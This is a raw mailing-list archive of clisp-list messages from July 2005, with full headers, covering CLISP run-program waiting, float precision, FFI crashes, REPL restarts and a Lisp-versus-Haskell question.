http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Broken pipe problem using ext:run-program under Linux (using latest CLISP 2.34) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 09:28:24 2005 X-Original-Date: Fri, 29 Jul 2005 12:27:32 -0400 >":wait nil" means "exec cat &", i.e., cat does not wait for your input >and terminates right away. > > Many thanks. I should have read the docs more carefully. The example does work correctly with :wait 't. I assumed that :wait controlled whether the run-program call returned immediately or waited for the command to terminate (the typical behavior of :wait for similar interfaces in many other CLs). BTW, is there a way to obtain the "wait for the run-program command to exit before proceeding" behavior in CLISP (the equivalent of specifying :wait 't in those other implementations)? Thanks again for the speedy advice! -- Dan From pjb@informatimago.com Fri Jul 29 11:04:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DyZDx-0003Y3-1x for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 11:04:45 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DyZDu-0006CT-BJ for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 11:04:45 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E5C99582FA; Fri, 29 Jul 2005 20:04:26 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 043D75833D; Fri, 29 Jul 2005 20:03:55 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D446A10FBF3; Fri, 29 Jul 2005 20:03:54 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17130.28554.825686.727703@thalassa.informatimago.com> To: Dan Corkill Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Broken pipe problem using ext:run-program under Linux (using latest CLISP 2.34) In-Reply-To: <42EA58F4.4060908@comcast.net> References: <42EA4156.5060702@comcast.net> <42EA58F4.4060908@comcast.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 11:05:16 2005 X-Original-Date: Fri, 29 Jul 2005 20:03:54 +0200 Dan Corkill writes: > > >":wait nil" means "exec cat &", i.e., cat does not wait for your input > >and terminates right away. > > > > > Many thanks. I should have read the docs more carefully. The example > does work > correctly with :wait 't. I assumed that :wait controlled whether the > run-program > call returned immediately or waited for the command to terminate (the > typical > behavior of :wait for similar interfaces in many other CLs). > > BTW, is there a way to obtain the "wait for the run-program command to exit > before proceeding" behavior in CLISP (the equivalent of specifying :wait > 't in > those other implementations)? > > Thanks again for the speedy advice! This is what is done when input and output are both not :stream. clisp is not dumb. When it sees it'll have to work, it doesn't wait. -- __Pascal Bourguignon__ http://www.informatimago.com/ From goenzoy@gmx.net Fri Jul 29 21:22:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DyisA-0004Ic-O1 for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 21:22:54 -0700 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1Dyis8-0008Bv-4g for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 21:22:54 -0700 Received: (qmail 8449 invoked by uid 0); 30 Jul 2005 04:22:42 -0000 Received: from 192.18.42.10 by www27.gmx.net with HTTP; Sat, 30 Jul 2005 06:22:42 +0200 (MEST) From: "Gottfried Zojer" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #9295279 Message-ID: <29278.1122697362@www27.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] =?ISO-8859-1?Q?Lisp_compared__with_Haskell_?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 21:23:31 2005 X-Original-Date: Sat, 30 Jul 2005 06:22:42 +0200 (MEST) Hello to all, Maybe a bit off topic question.But is somebody aware of any nice paper or pamphlet what is comparing Haskell and Lisp in a reall time situation. My I know something similar for Python and Lisp whats a great paper http://www.norvig.com/python-lisp.html and at least for both languages there is also a java-binding present even if I m not aware how active both projects are at the moment. http://jacol.sourceforge.net/ http://semantic.org/jvm-bridge/ So any feedback welcome Rgds Gottfried From mkb@incubus.de Fri Jul 29 21:32:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dyj1K-0004ep-Oq for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 21:32:22 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dyj1J-0001lr-Dc for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 21:32:22 -0700 Received: from graendal.mkbuelow.net (p54AAA43F.dip0.t-ipconnect.de [84.170.164.63]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 958742E738; Sat, 30 Jul 2005 06:35:02 +0200 (CEST) Received: from graendal.mkbuelow.net (localhost.mkbuelow.net [127.0.0.1]) by graendal.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6U4WwV0008554; Sat, 30 Jul 2005 06:33:03 +0200 (CEST) (envelope-from mkb@graendal.mkbuelow.net) Received: (from mkb@localhost) by graendal.mkbuelow.net (8.13.3/8.13.3/Submit) id j6U4WwYP008553; Sat, 30 Jul 2005 06:32:58 +0200 (CEST) (envelope-from mkb) From: Matthias Buelow To: Gottfried Zojer Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lisp compared with Haskell Message-ID: <20050730043257.GA8521@graendal.mkbuelow.net> References: <29278.1122697362@www27.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <29278.1122697362@www27.gmx.net> User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 21:34:11 2005 X-Original-Date: Sat, 30 Jul 2005 06:32:57 +0200 Gottfried Zojer wrote: >Maybe a bit off topic question.But is somebody aware of any nice paper or >pamphlet what is comparing Haskell and Lisp in a reall time situation. IMHO, the two are such different beasts that any comparison is futile. I'm dabbling in both Lisp and Standard ML every now and then, and while SML is a lot more "Lisp-like" than Haskell (for example, it's got call-by-value and value assignments) I consider them two completely different playgrounds. Surely Haskell and Lisp are even more estranged. mkb. From kaz@footprints.net Sat Jul 30 08:58:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DytjP-0003rT-UA for clisp-list@lists.sourceforge.net; Sat, 30 Jul 2005 08:58:35 -0700 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by mail.sourceforge.net with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.44) id 1DytjO-0000Cx-Sn for clisp-list@lists.sourceforge.net; Sat, 30 Jul 2005 08:58:36 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 4.34) id 1DytjK-0008GE-V8; Sat, 30 Jul 2005 08:58:30 -0700 From: Kaz Kylheku To: Matthias Buelow cc: Gottfried Zojer , In-Reply-To: <20050730043257.GA8521@graendal.mkbuelow.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp compared with Haskell Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 30 08:59:49 2005 X-Original-Date: Sat, 30 Jul 2005 08:58:30 -0700 (PDT) On Sat, 30 Jul 2005, Matthias Buelow wrote: > Date: Sat, 30 Jul 2005 06:32:57 +0200 > From: Matthias Buelow > To: Gottfried Zojer > Cc: clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] Lisp compared with Haskell > > Gottfried Zojer wrote: > > >Maybe a bit off topic question.But is somebody aware of any nice paper or > >pamphlet what is comparing Haskell and Lisp in a reall time situation. > > IMHO, the two are such different beasts that any comparison is > futile. I'm dabbling in both Lisp and Standard ML every now and > then, and while SML is a lot more "Lisp-like" than Haskell (for > example, it's got call-by-value and value assignments) I consider > them two completely different playgrounds. Surely Haskell and Lisp > are even more estranged. To consider a ``real-time situation'', you can't separate the language from the implementation. The features of the Lisp or Haskell implementations have more bearing on real-time performance than the languages themselves. Firstly, you look at what kind of compiler and GC do you have. Then things like the quality of the foreign calling interface, the escape hatches to gain access the platform and machine, the thread and interrupt safety of various areas of the run-time, etc. And then, what flavor of ``real-time'' anyway? -- Meta-CVS: the working replacement for CVS that has been stable since 2002. It versions the directory structure, symbolic links and execute permissions. It figures out renaming on import. Plus it babysits the kids and does light housekeeping! http://freshmeat.net/projects/mcvs From ampy@ich.dvo.ru Sat Jul 30 22:14:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dz69v-0008Tx-40 for clisp-list@lists.sourceforge.net; Sat, 30 Jul 2005 22:14:47 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dz69t-0004SP-8o for clisp-list@lists.sourceforge.net; Sat, 30 Jul 2005 22:14:47 -0700 Received: from lenin (host-212-16-220-137.hosts.vtc.ru [212.16.220.137]) by vtc.ru (8.13.4/8.13.4) with ESMTP id j6V5EDox003121; Sun, 31 Jul 2005 16:14:14 +1100 From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <6920051015.20050731161029@ich.dvo.ru> To: Matthias Buelow CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] numbers - error in substraction In-reply-To: <200507222154.j6MLspkE095128@drjekyll.mkbuelow.net> References: <200507222154.j6MLspkE095128@drjekyll.mkbuelow.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 30 22:16:12 2005 X-Original-Date: Sun, 31 Jul 2005 16:10:29 +1100 Hi. > Doesn't clisp use C doubles internally? > I also get the 0.20000005 but in a small C program (see below) I get: > % ./a.out > 1.1-0.9=0.20000000000000006661 Probably it's too late to answer, but I see that nobody suggested to set *read-default-float-format* to 'double float or 'long-float before calculations. 1.1 is being read as single-float by default and calculations are performed accordingly to datatype associated with numbers when they are read (in this example). [1]> (setf *read-default-float-format* 'double-float) DOUBLE-FLOAT [2]> (- 1.1 0.9) 0.20000000000000007 -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Sun Jul 31 00:28:21 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dz8FA-0004Bm-UA for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 00:28:20 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dz8F9-0001C6-Ix for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 00:28:20 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Dz8Ez-0006tc-T1 for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 09:28:09 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 31 Jul 2005 09:28:09 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 31 Jul 2005 09:28:09 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 22 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:2H34ZJtzScaY/2do4CWYQmS2iMI= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] FFI debugging and crashing support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 31 00:30:13 2005 X-Original-Date: Sun, 31 Jul 2005 00:27:55 -0700 Hello, I am trying to use lots of FFI's and clisp, with lisp calling foreign functions and vice versa. One constant problem, which I am facing is that, if I make any mistake in these programs, clisp just crashes, without any error message. For example, in a function call, if instead of passing two arguments to function, I pass one argument, it crashes, neither are there much compilation warnings. Is there any way (flags, tools), which I can use to avoid clisp from crashing, also get better error checking and more warnings? Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From sds@gnu.org Sun Jul 31 07:17:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzEcx-00023R-MD for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 07:17:19 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DzEcu-0008AI-8N for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 07:17:19 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 31 Jul 2005 10:17:15 -0400 X-IronPort-AV: i="3.95,155,1120449600"; d="scan'208"; a="64832284:sNHT20395960" To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Sun, 31 Jul 2005 00:27:55 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI debugging and crashing support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 31 07:19:57 2005 X-Original-Date: Sun, 31 Jul 2005 10:16:30 -0400 > * Surendra Singhi [2005-07-31 00:27:55 -0700]: > > Is there any way (flags, tools), which I can use to avoid clisp from > crashing, also get better error checking and more warnings? -- Sam Steingold (http://www.podval.org/~sds) running w2k Software is like sex: it's better when it's free. From lin8080@freenet.de Sun Jul 31 11:40:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzIjP-0002n9-4v for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 11:40:15 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DzIjN-0004Iu-Rm for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 11:40:15 -0700 Received: from [194.97.55.192] (helo=mx8.freenet.de) by mout1.freenet.de with esmtpa (Exim 4.52) id 1DzIjI-00006U-69 for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 20:40:08 +0200 Received: from be7b6.b.pppool.de ([213.7.231.182] helo=freenet.de) by mx8.freenet.de with esmtpa (ID lin8080@freenet.de) (Exim 4.52 #3) id 1DzIjH-0005nH-JN for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 20:40:08 +0200 Message-ID: <42ECCEB5.36EBFA19@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] 2-questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 31 11:42:01 2005 X-Original-Date: Sun, 31 Jul 2005 15:14:29 +0200 Hallo Now download Version 2.34 ZIP-file. Works fine on Win98SE. Thanks. While playing around I found this: (ja is undefined variable here, first-time-use) [7]> ja *** - EVAL: variable JA has no value The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of JA. STORE-VALUE :R2 You may input a new value for JA. ABORT :R3 ABORT Break 1 [8]> :r2 New JA: 5 5 [9]> ja 5 [10]> (describe 'ja) JA is the symbol JA, lies in #, is accessible in 1 package COMMON-LISP-USER, a variable, value: 5. # is the package named COMMON-LISP-USER. It has 2 nicknames CL-USER, USER. It imports the external symbols of 2 packages COMMON-LISP, EXT and exports no symbols, but no package uses these exports. 5 is an integer, uses 3 bits, is represented as a fixnum. [11]> The question is: What goes on here. Is this a SETQ or a SETF or something else? Second Question: (found in 31.1 Random Screen Access) (SCREEN:MAKE-WINDOW) sets a blue background and hides the blink-cursor as visible effect. Now, how to get back from there to the usual black window and the blinking cursor? stefan From pjb@informatimago.com Sun Jul 31 19:01:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DzPcZ-0000p8-QF for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 19:01:39 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DzPcV-0006w7-3y for clisp-list@lists.sourceforge.net; Sun, 31 Jul 2005 19:01:40 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 173FB5833D; Mon, 1 Aug 2005 01:17:51 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D2ADE582FA; Mon, 1 Aug 2005 01:17:41 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3D32B10FBF3; Mon, 1 Aug 2005 01:17:40 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17133.23571.357633.602586@thalassa.informatimago.com> To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2-questions In-Reply-To: <42ECCEB5.36EBFA19@freenet.de> References: <42ECCEB5.36EBFA19@freenet.de> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 31 19:03:29 2005 X-Original-Date: Mon, 1 Aug 2005 01:17:39 +0200 lin8080 writes: > [...] > [7]> ja > > *** - EVAL: variable JA has no value > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of JA. > STORE-VALUE :R2 You may input a new value for JA. > ABORT :R3 ABORT > Break 1 